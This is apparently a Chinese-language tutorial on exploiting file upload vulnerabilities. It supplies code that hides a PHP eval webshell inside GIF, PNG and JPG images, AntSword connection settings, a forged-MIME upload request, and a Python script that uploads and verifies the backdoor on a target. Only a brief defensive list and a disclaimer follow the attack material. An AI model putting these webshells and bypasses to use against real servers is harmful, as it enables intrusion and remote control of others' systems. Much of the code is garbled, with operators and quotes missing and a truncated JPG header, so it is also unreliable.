文件上传漏洞实战:蚁剑 v2.1.15 连接 3 种图片马绕过检测(附完整代码)

📅 2026/7/9 9:28:32
文件上传漏洞实战:蚁剑 v2.1.15 连接 3 种图片马绕过检测(附完整代码)
文件上传漏洞实战蚁剑 v2.1.15 连接 3 种图片马绕过检测附完整代码在当今的Web安全领域文件上传漏洞一直是攻击者最常利用的漏洞类型之一。这种漏洞之所以危险是因为它可能允许攻击者上传恶意文件到服务器进而获取系统控制权。本文将深入探讨如何利用图片马GIF/PNG/JPG绕过服务端文件头检测并成功连接蚁剑的完整流程。1. 文件上传漏洞基础原理文件上传漏洞的核心在于服务器对用户上传文件的验证机制存在缺陷。当Web应用允许用户上传文件但未对文件类型、内容进行严格验证时攻击者可能上传包含恶意代码的文件。常见的验证机制包括客户端验证通常通过JavaScript检查文件扩展名MIME类型验证检查HTTP头中的Content-Type字段文件扩展名验证黑名单或白名单方式文件内容验证检查文件头幻数或完整内容文件幻数是识别文件类型的独特标识位于文件开头几个字节文件类型幻数十六进制ASCII表示GIF47 49 46 38GIF89aPNG89 50 4E 47.PNGJPGFF D8 FF E0无2. 图片马制作原理与实战图片马是将恶意代码嵌入正常图片文件中利用文件包含或解析漏洞执行代码的技术。其核心在于保持图片文件头完整同时附加恶意代码。2.1 三种图片马制作方法GIF图片马制作# GIF图片马生成脚本 def create_gif_webshell(original_gif, output_file, webshell_code): with open(original_gif, rb) as f: gif_data f.read() webshell f\nGIF89a\n?php {webshell_code} ? with open(output_file, wb) as f: f.write(gif_data) f.write(webshell.encode())PNG图片马制作# PNG图片马生成命令Linux cat original.png webshell.php webshell.pngJPG图片马制作# JPG图片马生成脚本 def create_jpg_webshell(original_jpg, output_file, webshell_code): with open(original_jpg, rb) as f: jpg_header f.read(2) # 读取JPG文件头 webshell f\n?php {webshell_code} ? with open(output_file, wb) as f: f.write(jpg_header) f.write(webshell.encode())2.2 图片马制作注意事项保持原始文件头完整确保前几个字节符合图片格式标准代码位置选择通常附加在文件末尾避免破坏图片结构代码隐蔽性可使用编码、混淆技术增加检测难度文件大小控制过大文件可能引起怀疑3. 蚁剑 v2.1.15 连接配置详解蚁剑(AntSword)是一款功能强大的WebShell管理工具支持多种协议和编码方式。以下是连接图片马的关键配置参数3.1 基本连接配置参数项说明示例值URL地址图片马的完整访问路径http://target.com/upload/shell.gif连接密码一句话木马中的POST参数名cmd编码类型与WebShell匹配的编码方式UTF-8连接类型根据WebShell语言选择PHP3.2 高级配置技巧HTTP头设置User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: image/webp,image/apng,image/*,*/*;q0.8代理配置类型SOCKS5地址127.0.0.1端口1080提示连接不稳定时可尝试调整超时时间默认20秒4. 绕过常见检测机制的实战方法4.1 文件头检测绕过服务端通常检查文件前几个字节判断文件类型。我们的图片马已包含合法文件头自然绕过此检测。验证方法xxd -l 8 webshell.gif # 查看文件前8字节4.2 MIME类型检测绕过当服务端检查Content-Type时可通过修改上传请求POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.gif Content-Type: image/gif [修改此处]4.3 文件内容二次渲染绕过某些服务会对图片进行重新渲染可能破坏嵌入的代码。解决方法寻找不受影响的文件位置如EXIF数据使用特殊构造的图片文件利用渲染特性保留代码5. 完整自动化脚本实现以下Python脚本实现从图片马生成到蚁剑连接的完整流程import os import requests from bs4 import BeautifulSoup class ImageWebshellGenerator: def __init__(self): self.webshell_code eval($_POST[cmd]); def generate(self, image_path, output_path, image_type): if image_type gif: self._create_gif_webshell(image_path, output_path) elif image_type png: self._create_png_webshell(image_path, output_path) elif image_type jpg: self._create_jpg_webshell(image_path, output_path) def _create_gif_webshell(self, input_file, output_file): with open(input_file, rb) as f: gif_data f.read() webshell f\nGIF89a\n?php {self.webshell_code} ? with open(output_file, wb) as f: f.write(gif_data) f.write(webshell.encode()) # 其他类型生成方法类似... def upload(self, target_url, file_path): files {file: open(file_path, rb)} r requests.post(target_url, filesfiles) return r.text def verify(self, shell_url): try: r requests.post(shell_url, data{cmd: echo md5(123);}) return 202cb962ac59075b964b07152d234b70 in r.text except: return False # 使用示例 generator ImageWebshellGenerator() generator.generate(normal.jpg, webshell.jpg, jpg) upload_result generator.upload(http://target.com/upload.php, webshell.jpg) if generator.verify(http://target.com/upload/webshell.jpg): print(Webshell 上传并验证成功)6. 安全防护建议虽然本文从攻击角度探讨文件上传漏洞但更重要的是了解如何防御文件扩展名白名单只允许特定安全扩展名文件内容验证检查完整文件结构而不仅是文件头重命名上传文件避免直接使用用户提供的文件名隔离存储将上传文件存放在非Web可执行目录权限控制确保上传目录无执行权限注意本文所有技术内容仅用于安全研究学习未经授权测试他人系统属于违法行为。